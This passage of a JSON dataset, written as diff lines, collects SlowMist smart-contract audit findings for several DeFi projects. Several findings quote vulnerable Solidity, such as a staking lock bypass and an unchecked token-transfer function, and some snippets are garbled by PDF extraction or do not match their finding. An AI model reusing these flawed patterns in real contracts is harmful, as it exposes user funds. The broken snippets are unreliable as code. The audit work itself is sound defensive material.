TransitSwap v4 Core_en-us.pdf", + "body": "The swapAmount parameter is declared in the contract but not initialized. ", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Unsafe external call", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "The path and pair parameters in the supportingFeeOn function are controllable. If an attacker passes in malicious path and pair parameters, it may cause unexpected errors. ", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing Approve amount reset", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "The _beforeSwap function in the TransitSwap contract will set the authorization limit to the maximum value when accessing the token for the rst time, but the function to remake the authorization is not found in the contract. When the authorization limit is used up, it will not be able to remake and the token cannot be used.", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "4.2.1.1 __Guard_init function was not call when initialize", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Hot Cross BSC Bridge V1.0.0_en-us.pdf", + "body": "ForeignProcessor contract and HomeRequest contract are inherit the Guard contract but dost not call the __Gurad_init function function __ForeignProcessor_init( IERC20 token, ValidatorRegistry validatorRegistry_ ) internal initializer { //SlowMist// Missing call of __Guard_init function require( address(token) != address(0) && Misc.isContract(address(token)), \"ForeignProcessor:Invalid erc20 address provided\" 10 ); require( address(validatorRegistry_) != address(0) && Misc.isContract(address(validatorRegistry_)), \"ForeignProcessor:Invalid validator registry address\" ); erc20 = token; validatorRegistry = validatorRegistry_; } function __HomeRequest_init( BEP20 token, ValidatorRegistry validatorRegistry_ ) internal initializer { //SlowMist// Missing call of __Guard_init function require( address(token) != address(0) && Misc.isContract(address(token)), \"HomeRequest:Invalid BEP20 address\" ); require( address(validatorRegistry_) != address(0) && Misc.isContract(address(validatorRegistry_)), \"HomeRequest:Invalid validator registry address\" ); bep20 = token; validatorRegistry = validatorRegistry_; } Fix status: fixed. 11 5.", + "labels": [ + "SlowMist", + "Hot Cross BSC Bridge V1.0.0", + "Severity: Informational" + ] + }, + { + "title": "Tokens Obtained from Emergency Withdrawal Partly Locked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_MellowDepositWstETHStrategy_en-us.pdf", + "body": "In the MellowDepositWstETHStrategy contract, the owner role can execute an emergency withdrawal operation from the mellowVault contract by calling the emergencyWithdrawFromMellow function. In the mellowVault contract, during an emergency withdrawal operation, the specied amount of LP tokens from previous withdrawal requests are burned, and two types of tokens, wstETH and DC_wstETH, are transferred to the address indicated in the withdrawal request. The amounts transferred are calculated based on the burned LP tokens and the current balance of these two tokens in the pool. However, in the MellowDepositWstETHStrategy contract, there is no implementation for redeeming DC_wstETH tokens back into wstETH, which results in these DC_wstETH tokens being locked within the contract. Furthermore, when calculating the total invested value of the contract using the getInvestedValue function, it fails to account for the value of the held DC_wstETH tokens. Code Location: contracts/strategies/MellowDepositWstETHStrategy.sol function getInvestedValue() public override returns (uint256 value) { uint256 etherValue = address(this).balance; uint256 stETHValue = IERC20(stETHAddr).balanceOf(address(this)); (, uint256 claimableValue, uint256 pendingValue) = checkPendingAssets(); uint256 mellowPending = getPendingValueFromMellow(); value = etherValue + stETHValue + claimableValue + pendingValue + getWstETHValue() + getDepositedValue() + mellowPending; } ... function emergencyWithdrawFromMellow( uint256[] memory _minAmounts, uint256 _deadline ) external onlyOwner returns (uint256 wstETHAmount) { IMellowVault(mellowVaultAddr).emergencyWithdraw(_minAmounts, _deadline); }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_MellowDepositWstETHStrategy", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "The Potential Risk of Fixed Array Lengths", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_MellowDepositWstETHStrategy_en-us.pdf", + "body": "In the MellowDepositWstETHStrategy contract, the owner role can call the depositIntoMellow function to deposit wstETH tokens from the contract into the MellowVault, where the length of the passed amounts array is xed at 1. Within the deposit function of the MellowVault contract, a check is performed to ensure that the lengths of the contract's _underlyingTokens array and the passed amounts array are equal. Currently, as the _underlyingTokens array in the MellowVault contract also contains only 1 element, this check passes successfully. However, the MellowVault contract features a function (addToken) that allows for adding new token data to the _underlyingTokens array. If, in the future, the _underlyingTokens array expands due to the addition of new tokens, the depositIntoMellow function may fail this length check and consequently be unable to execute properly. The same issues also apply when making a withdrawal request. Code Location: contracts/strategies/MellowDepositWstETHStrategy.sol#L177&L200 function depositIntoMellow( uint256 _wstETHAmount, uint256 _minLpAmount ) external onlyOwner returns (uint256 lpAmount) { require(_wstETHAmount != 0, \"zero\"); TransferHelper.safeApprove(wstETHAddr, mellowVaultAddr, _wstETHAmount); uint256[] memory amounts = new uint256[](1); amounts[0] = _wstETHAmount; (, lpAmount) = IMellowVault(mellowVaultAddr).deposit( address(this), amounts, _minLpAmount, block.timestamp ); emit DepositIntoMellow( mellowVaultAddr, address(this), _wstETHAmount, lpAmount ); } function requestWithdrawFromMellow( uint256 _share, uint256 _minAmount ) external onlyOwner { require(_share != 0, \"zero\"); uint256[] memory amounts = new uint256[](1); amounts[0] = _minAmount; IMellowVault(mellowVaultAddr).registerWithdrawal( address(this), _share, amounts, block.timestamp, type(uint256).max, true ); emit WithdrawFromMellow(mellowVaultAddr, address(this), _share); }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_MellowDepositWstETHStrategy", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Conict in withdrawal requests", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist_Audit_Report_StakeStone_MellowDepositWstETHStrategy_en-us.pdf", + "body": "In the MellowDepositWstETHStrategy contract, The owner role can initiate a withdrawal request for wstETH by calling the requestWithdrawFromMellow function, with the closePrevious parameter set to true by default. This implies that if a previous withdrawal request has been submitted and is still pending, it will rst be canceled before replacing it with the newly submitted withdrawal request. Code Location: contracts/strategies/MellowDepositWstETHStrategy.sol#L208 function requestWithdrawFromMellow( uint256 _share, uint256 _minAmount ) external onlyOwner { require(_share != 0, \"zero\"); uint256[] memory amounts = new uint256[](1); amounts[0] = _minAmount; IMellowVault(mellowVaultAddr).registerWithdrawal( address(this), _share, amounts, block.timestamp, type(uint256).max, true ); emit WithdrawFromMellow(mellowVaultAddr, address(this), _share); }", + "labels": [ + "SlowMist", + "SlowMist_Audit_Report_StakeStone_MellowDepositWstETHStrategy", + "Type: Design Logic Audit", + "Severity: Information" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Owlto Depositor_en-us.pdf", + "body": "There are useless codes in the le and codes that are not used in actual business. Code Location: Depositor.sol#L225-227 contract Depositor { ... error NotOwnerError(); error LengthError(); error ZeroAddressError(); ... }", + "labels": [ + "SlowMist", + "Owlto Depositor", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Spelling mistake", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Owlto Depositor_en-us.pdf", + "body": "Spelling mistake was identied within the code. Code Location: Depositor.sol function isContractt(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } ... function callOptionalReturn(IERC20 token, bytes memory data) private { ... require(address(token).isContractt(), \"SafeERC20: call to non-contract\"); ... }", + "labels": [ + "SlowMist", + "Owlto Depositor", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "4.2.1.1 Excessive auditing authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The owner in MasterStar contract can add a new lpToken through the add function, but if there is a black swan event, such as the addition of a malicious lpToken, there will be useless lpToken to recharge to get rewards. It is suggested that the owner can be handed over to the governance contract or time lock contract for management. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(poolIndexs[address(_lpToken)] < 1, \"LpToken exists\"); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, tokenPerBlock: currentTokenPerBlock, accTokenPerShare: 0, finishMigrate: false, lockCrosschainAmount:0, crosschain_enable: false })); poolIndexs[address(_lpToken)] = poolInfo.length; } Owner can set migrator , It is suggested that the owner can be handed over to the governance contract or time lock contract for management. function setMigrator(IMigratorStar _migrator) public onlyOwner { migrator = _migrator; 7 } //Migratelptokentoanotherlpcontract.Canbecalledbyanyone.Wetrustthatmigratorcontractisgood. function migrate(uint256 _pid) public { require(address(migrator) != address(0), \"migrate: no migrator\"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), \"migrate: bad\"); pool.lpToken = newLpToken; pool.finishMigrate = true; } Fixed: The owner authority has been transferred to the timelock contract. Reference: https://etherscan.io/tx/0x3e8be2489c824906c7fe1abe376ccea198e3cd28cb225dee91d4f9c3e9 62a889", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Low" + ] + }, + { + "title": "4.2.2.1 Compiler version is inconsistent", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The compiler version used by the imported contract is inconsistent. It is recommended to use a unified fixed compiler version when deploying. pragma solidity ^0.6.0; pragma solidity ^0.6.2; pragma solidity 0.6.12;", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.2 Better handling of ownership transfers", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "When using the transferOwnership function to change the owner, it is recommended to add a 8 confirmation method that newOwner accepts the owner. The real authority transfer is performed after the new address is signed and confirmed to avoid the loss of authority. function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), \"Ownable: new owner is the zero address\"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.3 Enhancement point of delegateBySig function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The nonce in the delegateBySig function is input by the user. When the user input a larger nonce, the current transaction cannot be success but the relevant signature data will still remain on the chain, causing this signature to be available for some time in the future. It is recommended to fix it according to EIP-2612. Reference: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2612.md#implementation. function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s external ) { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); 9 bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( \"\\x19\\x01\", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), \"MOON::delegateBySig: invalid signature\"); require(nonce == nonces[signatory]++, \"MOON::delegateBySig: invalid nonce\"); require(now <= expiry, \"MOON::delegateBySig: signature expired\"); return _delegate(signatory, delegatee); }", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.4 Mint issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The owner can mint tokens unlimitedly through mint function, but the owner's authority of the token contract is changed to MasterStar contract for the first time. function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } Fixed: The owner authority has actually been transferred to the MasterStar contract. Reference: 10 https://etherscan.io/tx/0x0303672ee5045cd01102fdb50787541d11bddc3e1bfc446d4f6b46db85 e65bff", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.5 Using now globally available variables that will be deprecated", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The now globally available variables is used, which has been deprecated in compiler solidity 0.7.0. require(signatory != address(0), \"MOON::delegateBySig: invalid signature\"); require(nonce == nonces[signatory]++, \"MOON::delegateBySig: invalid nonce\"); require(now <= expiry, \"MOON::delegateBySig: signature expired\");", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.6 0 value is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The withdraw function suggests adding a check of _amount> 0, which can optimize the gas consumption when _amount is 0. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; require(!pool.finishMigrate, \"migrate not withdraw\"); UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, \"withdraw: not good\"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt); safeTokenTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); }", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.7 Prompt Error", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The prompt of setCrosschain function require has an error \"migrate not deposit\", it is recommended to modify the prompt to \"migrate not setCrosschain\". 11 function setCrosschain(uint256 _pid, bool isOk, address cmoonAddr) public onlyOwner { PoolInfo storage pool = poolInfo[_pid]; require(pool.finishMigrate, \"migrate not deposit\"); pool.crosschain_enable = isOk; require(cmoonAddr != address(0), \"address invalid\"); migratePoolAddrs[_pid] = cmoonAddr; } Fixed: The issue has been fixed by this commit: ef19afe4b6bfd624dd79903c36ea335be6a7b283.", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.8 Better handling of devaddr transfers", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "When changing devaddr in the dev function, it is recommended to add newDevaddr to accept the replacement confirmation method. After the new address is signed and confirmed, the real change to devaddr can be made to avoid setting errors and the income cannot be normally obtained. function dev(address _devaddr) public { require(msg.sender == devaddr, \"dev: wut?\"); devaddr = _devaddr; }", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.9 Coding Standards", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - MoonSwap_en-us.pdf", + "body": "The coding style of emergencyWithdraw function is to make an external call first, and then change the value of the contract variable. This way of writing, because lpToken is considered safe, there is no reentrancy problem, but it is recommended to use the correct coding standard: The variable is changed, and then an external call is made. A lock modifier for reentrancy prevention can also be added. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; require(!pool.finishMigrate, \"migrate not withdraw\"); UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); 12 emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } Fixed: The issue has been fixed by this commit: ef19afe4b6bfd624dd79903c36ea335be6a7b283 5.", + "labels": [ + "SlowMist", + "MoonSwap", + "Severity: Informational" + ] + }, + { + "title": "Lack of previous pool status check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Stake Mask_en-us.pdf", + "body": "In the StakeManager contract, the user can deposit funds into the contract by calling the depositAndLock function and withdraw funds by calling the withdraw function. However, when a new pool is added and currentPoolId is updated to the id of the new pool, the user calls depositAndLock function again to make a deposit without checking the unlocked state of the pool that the user deposited in before. So the poolId in the user's information will be directly overwritten with the new currentPoolId, even if the pool state at the time of the previous deposit was a locked state. If the state of the new pool is unlocked, the withdraw function can be called directly to withdraw all of the user's deposits, even if the pool where the rst deposit was made was in a locked state. Code Location: src/StakeManager.sol function depositAndLock(uint256 _amount) public nonReentrant { Pool storage pool = pools[currentPoolId]; require(pool.stakingEnabled, \"Staking is disabled for this pool\"); require(maskToken.transferFrom(msg.sender, address(this), _amount), \"Transfer failed\"); userInfos[msg.sender].stakedAmount += _amount; // depositAndLock will always stake to currentPoolId // it will init userInfos[msg.sender].poolId for the first time // it will change userInfos[msg.sender].poolId to currntPoolId(which means new pool) when // user deposit after prev pool unlocked userInfos[msg.sender].poolId = currentPoolId; emit Staked(msg.sender, currentPoolId, _amount); } function withdraw(uint256 _amount) public nonReentrant { Pool storage pool = pools[userInfos[msg.sender].poolId]; require(pool.unlocked, \"Pool is locked\"); require(userInfos[msg.sender].stakedAmount >= _amount, \"Insufficient balance\"); userInfos[msg.sender].stakedAmount -= _amount; require(maskToken.transfer(msg.sender, _amount), \"Transfer failed\"); emit unstaked(msg.sender, userInfos[msg.sender].poolId, _amount); }", + "labels": [ + "SlowMist", + "Stake Mask", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Dierence check when changing pools", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Stake Mask_en-us.pdf", + "body": "In the StakeManager contract, the user can update the poolId in the user information to the latest currentPoolId by calling the changePool function. However, there is no check to see if the currentPoolId matches the poolId in the user information. Code Location: src/StakeManager.sol function changePool() public nonReentrant { uint8 fromPoolId = userInfos[msg.sender].poolId; Pool storage fromPool = pools[userInfos[msg.sender].poolId]; Pool storage toPool = pools[currentPoolId]; require(toPool.stakingEnabled, \"Staking is disabled for this pool\"); require(fromPool.unlocked, \"From pool is locked\"); require(userInfos[msg.sender].stakedAmount > 0, \"No staked amount\"); userInfos[msg.sender].poolId = currentPoolId; emit StakeChanged(msg.sender, fromPoolId, currentPoolId); }", + "labels": [ + "SlowMist", + "Stake Mask", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing return value check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Stake Mask_en-us.pdf", + "body": "In the Reward contract, the owner can call the emergencyWithdraw function to transfer any tokens in the contract. But it does not check the return value. If external tokens do not adopt the EIP20 standard, it may lead to false top-up issues. ", + "labels": [ + "SlowMist", + "Stake Mask", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Stake Mask_en-us.pdf", + "body": "In the Reward contract, the owner can call the emergencyWithdraw function to transfer any tokens in the contract. If the privilege is lost or misused, there may be an impact on the user's funds. ", + "labels": [ + "SlowMist", + "Stake Mask", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "4.3.1.2 Risk of loss of user funds", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODOV2_en-us.pdf", + "body": "In the LockTokenVault contract, when transferring the user's locked token, it did not check whether the _to address is msg.sender itself, which caused the user to abuse the transfer and cause a loss of funds. function transferLockedToken(address to) external { originBalances[to] = originBalances[to].add(originBalances[msg.sender]); claimedBalances[to] = claimedBalances[to].add(claimedBalances[msg.sender]); originBalances[msg.sender] = 0; claimedBalances[msg.sender] = 0; } Fix status: fixed, repair commit: main-08a06609604779c31db493bc0d755efa1c3f0a61.", + "labels": [ + "SlowMist", + "DODOV2", + "Severity: Low" + ] + }, + { + "title": "4.2.2.1 Missing events", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODOV2_en-us.pdf", + "body": "Contract DODOApproveProxy Function list init / unlockAddProxy / addDODOProxy / LockAddProxy / removeDODOProxy ContractDODOApproveFunction listinit / unlockSetProxy / setDODOProxy / LockSetProxy ContractDODV2Proxy02Function listaddWhiteList / removeWhiteList / updateGasReturn ContractDVMFactorFunction listupdateDvmTemplate ContractDPPAdvanceFunction listtunePrice ContractDPPAdvance Function listsetOperator / setFreezeTimestamp ContractDPPVaultFunction listratioSync / retrieve 6 ContractDVMVault Function list_setReserve_sync The above functions does not have an event declaration, it is recommended to add the corresponding event declaration Fix status: After communicating with the project party, it is confirmed that the above event statement is not currently used in business and will be fixed in subsequent iterations.", + "labels": [ + "SlowMist", + "DODOV2", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.2 The contract balance was not verified when the reward was distributed", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODOV2_en-us.pdf", + "body": "In the RewardVault contract, the contract balance is not verified when the reward is distributed, which may cause the contract balance to fail to be distributed function reward(address to, uint256 amount) external onlyOwner { //SlowMist// Not verify if contract balance is larger than the transfer amount IERC20(dodoToken).safeTransfer(to, amount); } Fix situation: After confirming with the project party, they ignore this problem.", + "labels": [ + "SlowMist", + "DODOV2", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.3 Unchecked array length", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODOV2_en-us.pdf", + "body": "a. The getPendingReward function in the BaseMine contract did not verify whether the value of i passed in was less than the length of the array when obtaining the reward of the pool, which resulted in the failure to obtain the reward. function getPendingReward(address user, uint256 i) public view returns (uint256) { //SlowMist// Not verify the array length RewardTokenInfo storage rt = rewardTokenInfos[i]; uint256 accRewardPerShare = rt.accRewardPerShare; if (rt.lastRewardBlock != block.number) { accRewardPerShare = _getAccRewardPerShare(i); } return 7 DecimalMath.mulFloor( balanceOf(user), accRewardPerShare.sub(rt.userRewardPerSharePaid[user]) ).add(rt.userRewards[user]); } Fix status: fixed, repair commit: feature/mineV2AndDSP- 5917c95439cac06241f108038043d2 2348c863e6. b. The claimReward function in the BaseMine contract does not verify whether the value of i passed in is less than the length of the array, resulting in failure to obtain rewards function claimReward(uint256 i) public { require(i 0) { rt.userRewards[msg.sender] = 0; IRewardVault(rt.rewardVault).reward(msg.sender, reward); emit Claim(i, msg.sender, reward); } } Fix status: fixed, repair commit: feature/mineV2AndDSP- 5917c95439cac06241f108038043d2 2348c863e6.", + "labels": [ + "SlowMist", + "DODOV2", + "Severity: Informational" + ] + }, + { + "title": "4.2.2.4 Compatibility risk of rebasing tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DODOV2_en-us.pdf", + "body": "The deposit function of the ERC20Mine contract does not verify the incoming amount. When it is compatible with rebasing tokens, it will cause an error to obtain the transfer amount. function claimReward(uint256 i) public { require(i 0) { rt.userRewards[msg.sender] = 0; IRewardVault(rt.rewardVault).reward(msg.sender, reward); emit Claim(i, msg.sender, reward); } } Fix status: fixed, fix commit: main-d26b21bd814d4bfcc702521d52f6cb3af4f86e5c. 5.", + "labels": [ + "SlowMist", + "DODOV2", + "Severity: Informational" + ] + }, + { + "title": "Potential Unable to Borrow Issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, the batchDecreaseLever function reduces the leverage ratio of the ETF by withdrawing/repaying in AAVE, and may completely repay the debt in AAVE in the process. In this case, when the operator fully withdraws stETH from AAVE, the state of usingAsCollateral of the ETF in AAVE will be set to false. Theoretically, the aToken in the ETF will be 0 at this time, and usingAsCollateral will be automatically set to true when the ETF deposits in AAVE next time. But in fact, AAVE may still have 1wei of aToken left in the ETF due to arithmetic precision errors when calculating the number of aTokens that need to be burned by withdrawing the amount. Therefore, when the ETF deposits in AAVE next time, usingAsCollateral will not be set to true, and since there is no interface for calling the setUserUseReserveAsCollateral function in LeverageStake, this may cause the ETF to no longer be able to perform borrow operations. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Library function visibility issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the protocol, the LeverageStake contract operates ETF through the interface of the AaveCall library, so the AaveCall library is stateless, and there is no need to set the visibility of the function to external/public. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Function multiple logic mixes", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the getLeverageInfo function comment of the LeverageStake contract, it is explained that this function is used to obtain the fund status of the ETF in AAVE. But it not only gets it through the getUserAccountData function but also rebinds the ETF. These are two completely unrelated functions but used in the same function. And due to the openness of the getLeverageInfo function, any user can perform rebind operations through this function, which may be contrary to the design philosophy of ETF. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Potential Malicious Liquidation ETF Issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, the operator can increase the leverage ratio of the ETF in AAVE through the borrow function. Since there is no maximum leverage limit, when the leverage ratio is too high and stETH is close to the liquidation line, the ETF may be liquidated due to the accumulation of loan interest. If the operator acts maliciously subjectively, the funds of users in the ETF will be at risk. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "min_dy without slippage and exchange fees", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, the increaseLever and convertToAstEth functions all have the function of exchanging stETH and ETH tokens through the exchange function. However, the min_dy parameter passed in is consistent with the dx parameter. Due to the existence of slippage and exchange fees, a certain amount of stETH cannot be exchanged for exactly the same amount of ETH tokens. Therefore, the exchange function in these functions cannot be executed normally. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Potential Operator Arbitrage Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, the operator can exchange stETH and ETH tokens through the exchange function, but its min_dy parameter is also set by the operator. Therefore, if the caller does not pass in min_dy, the exchange operation of the ETF in the Curve Pool may suer from a sandwich attack, resulting in the loss of ETF assets. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Unreasonable defaultSlippage", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "There is a defaultSlippage variable in the LeverageStake contract, which is used in the decreaseLever and convertToWeth functions to exchange the minimum received amount between stETH and ETH tokens. It defaults to 1 and cannot be modied, which will cause min_dy to be 1% of dx during the exchange operation, making the token exchange process vulnerable to sandwich attacks. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Redundant receive function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "There is a receive function in the LeverageStake contract to enable the contract to receive native tokens. However, in actual business, the contract does not need to receive native tokens, so the receive function is redundant, which may also cause users to mistakenly transfer native tokens to this contract and then fail to withdraw them. ", + "labels": [ + "SlowMist", + "DeSyn LeverageStaking - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Issues with not updating bound tokens", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn LeverageStaking - SlowMist Audit Report.pdf", + "body": "In the LeverageStake contract, the deposit, borrow, withdraw, and repayBorrow functions are used to operate the ETF to deposit, borrow, withdraw, and repay to AAVE, respectively. However, the _records of the bound tokens in the ETF are not updated in the above operations. This will cause the token 